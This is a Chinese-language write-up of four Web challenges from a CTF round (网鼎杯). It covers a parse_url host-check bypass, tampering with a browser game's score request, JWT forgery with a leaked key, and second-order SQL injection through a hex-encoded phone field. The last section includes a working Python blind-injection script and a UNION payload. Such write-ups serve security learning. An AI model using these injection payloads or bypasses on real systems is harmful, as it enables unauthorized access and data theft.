网鼎杯第三场Web部分WriteUp

这次一个人打真的打不动，题目都看不过来。MISC被坑了无数次，这里先更新下Web的思路其他的接下来有时间更

comein

查看页面得到当前源码

<?
ini_set("display_errors",0);
$uri = $_SERVER['REQUEST_URI'];
if(stripos($uri,".")){
    die("Unkonw URI.");
}
if(!parse_url($uri,PHP_URL_HOST)){
    $uri = "http://".$_SERVER['REMOTE_ADDR'].$_SERVER['REQUEST_URI'];
}
$host = parse_url($uri,PHP_URL_HOST);
if($host === "c7f.zhuque.com"){
    setcookie("AuthFlag","flag{*******");
}

显示是 parse_url 的绕过这里去匹配 . 但是 . 在第一位时返回 0 得到的是 false 于是便可绕过过滤。我们直接构造以下payload ..@c7f.zhuque.com/..//index.php

gold

此题一开始被坑了，一开始看见了js于是想到通过修改js作弊。

js代码进过了压缩混淆，解压得到原始js代码

var B = 0.56;
var canvasW = window.innerWidth;
var canvasH = canvasW / B;
if (canvasH > window.innerHeight) canvasH = window.innerHeight;
var canvasObj = $('#canvas');
canvasObj.css('margin-top', (window.innerHeight - canvasH) / 2);
canvasObj.attr('width', canvasW);
canvasObj.attr('height', canvasH);
var ca = document.getElementById("canvas");
var ctx = ca.getContext("2d");
var bj1 = new Image();
var player = new Image();
var tu = new Array();
bj1.src = "images/bj.jpg";
player.src = "images/ren.png";
var playerWidth = 123 * B;
var playerHeight = 213 * B;
var h = 20;
var gk = 1;
var sudu = 10;
var zl = 100;
var chi = 0;
var shi = 0;
var fs = 0;
var sm = 1;
var bj = bj1;

function object() {
	this.x = 0;
	this.y = 0;
	this.l = 11;
	this.image = new Image()
}
var sprite = new object();
sprite.x = 0;
sprite.y = canvasH - playerHeight;
sprite.image = player;
addListener(ca, "mousemove", m);
var beginTime = new Date();
var gameTime = 1;
var remainTime;

function checkTime() {
	var nowTime = new Date();
	remainTime = gameTime + parseInt((nowTime.getTime() - beginTime.getTime()) / 1000);
	document.getElementById('m').innerHTML = remainTime
}
var range = canvasW - 60 * B;

function chansheng() {
	if (shi % h == 0) {
		for (var j = 2 * chi; j < 2 * (chi + 1); j++) {
			tu[j] = new object();
			var i = Math.round(Math.random() * range);
			if (j == 2 * chi + 1) {
				while (Math.abs(i - tu[2 * chi].x) < 30) {
					i = Math.round(Math.random() * range)
				}
			}
			var k = Math.round(Math.random() * zl);
			if (k < 40) {
				tu[j].image.src = "images/0.png";
				tu[j].q = 0
			} else if (k < 90) {
				tu[j].image.src = "images/1.png";
				tu[j].q = 1
			} else if (k < 97) {
				tu[j].image.src = "images/2.png";
				tu[j].q = 2
			} else {
				tu[j].image.src = "images/3.png";
				tu[j].q = 3
			}
			tu[j].x = i;
			tu[j].y = -Math.round(Math.random() * 300)
		}
		chi++;
		if (chi == 10) chi = 0
	}
	shi++
}
function sudukongzhi() {
	if (remainTime > 60) {
		h = 5;
		sudu = 300
	} else if (remainTime > 30) {
		h = 5;
		sudu = 150
	} else {
		h = 5;
		sudu = 50
	}
}
function draw() {
	sudukongzhi();
	chansheng();
	for (var i = 0; i < tu.length; i++) {
		if (jianche(sprite, tu[i])) {
			if (tu[i].q == 0) {
				fs -= 100
			} else if (tu[i].q == 1) {
				fs += 1
			} else if (tu[i].q == 2) {
				fs += 2
			} else {
				fs += 3
			}
			tu[i].y += 200
		} else if (!jianche(sprite, tu[i])) {
			tu[i].y += sudu
		}
		ctx.drawImage(tu[i].image, tu[i].x, tu[i].y, 60 * B, 60 * B)
	}
	$.ajax({
		type: 'POST',
		url: './index.php',
		data: {
			getGod: fs
		},
		success: function(data) {
			if (data == '0');
			else if (data == '1') alert("Error!");
			else alert(data)
		},
		error: function() {
			alert("未知错误...");
			window.open("./index.php", "_0")
		}
	})
}
function jianche(a, b) {
	var c = a.x - b.x;
	var d = a.y - b.y;
	if (c < b.image.width * B && c > -a.image.width * B && d < b.image.height * B && d > -a.image.height * B) {
		return true
	} else {
		return false
	}
}
function addListener(element, e, fn) {
	if (element.addEventListener) {
		element.addEventListener(e, fn, false)
	} else {
		element.attachEvent("on" + e, fn)
	}
}
function m(event) {
	sprite.x = event.clientX - playerWidth / 2;
	if (sprite.x + playerWidth >= canvasW) sprite.x = canvasW - playerWidth;
	else if (sprite.x <= playerWidth / 2) sprite.x = 0
}
function stop() {
	clearInterval(interval)
}
interval = setInterval(function() {
	ctx.clearRect(0, 0, canvasW, canvasH);
	ctx.drawImage(bj, 0, 0, canvasW, canvasH);
	ctx.drawImage(sprite.image, sprite.x, sprite.y, playerWidth, playerHeight);
	draw();
	document.getElementById("f").innerHTML = fs;
	checkTime();
	if (remainTime == 0) {
		stop()
	}
}, 100);

直接修改加分规则让他一直加分即可，但是发现并不能得到flag :joy:

继续看js发现是通过Ajax来发起请求的，于是我们直接POST个 getGod=1000 发现好像还是不行，这时想到了爆破，可能分值要到某个特定的才能触发。当bp跑到1001时成功getflag

i_am_admin

题目给了测试账号 test:test 随手登录进去，发现提供了一个 secret key （此处没有图，比赛时候忘记截图了，大家脑补一下吧），并且set了一个JWT。果断想到去 jwt.io 上伪造一个JWT。

使用伪造的JWT登录成功getflag

phone

大概看了下功能点果断联想到手机号那里存在一个 SQL 注入，这里一开始猜语句的时候猜错了。以为只能盲注导致浪费了大量时间。

解法一：

一开始测试的时候没有回显，于是狗杂布尔型型盲注使其返回0人或多人 %' and (case when (mid(user(),1,1)='{1}') then 1 else 0 end)#

类似这样来构造一个注入，这里一开始是写脚本但是发现脚本速度太快。。。速度太快。。。会乱码（调了一下午脚本想哭）

# coding=utf-8
import requests
import random
import string,binascii
url = 'http://180b8e2eab6d4b1cbc09462983ac7fbb7236f690e6a64996.game.ichunqiu.com/register.php'
url1 = 'http://180b8e2eab6d4b1cbc09462983ac7fbb7236f690e6a64996.game.ichunqiu.com//query.php'
r = requests.Session()
flag = ''

for i in range(1,33):
    for j in range(33,127):
        payload = "%' and (case when (mid((SELECT group_concat(column_name) from information_schema.columns where table_name='flag'),{0},1)='{1}') then 1 else 0 end)#".format(i,chr(j))
        print payload
        uname = ''.join(random.sample(string.ascii_letters + string.digits, 8))
        upass = 'fh'
        ph = '0x'+binascii.b2a_hex(b""+payload)
        data = {'username':uname,'password':upass,'phone':ph,'register':'Login'}
        html = r.post(url,data=data)
        print html.text
        html1 = r.get(url1)
        print html1.text
        if len(html1.text)!=11 and len(html1.text)!=15:
            flag += chr(j)
            print flag
            break

这题也可以用超级SQL注入工具（反正我最后拿这个跑出来的）

解法二：

比赛结束后我才反应过来，这题的SQL语句应该是这样的。。。。 select count(*) from xxx where xxx like '%x%';

于是我们便可以构造类似这样的语句让我们想要查的东西被输出出来

select count(*) from xxx where xxx like '%x%' union select user() order by 1 desc

最终payload

a' union select f14g from flag order by 1 desc#

0x612720756E696F6E2073656C65637420663134672066726F6D20666C6167206F726465722062792031206465736323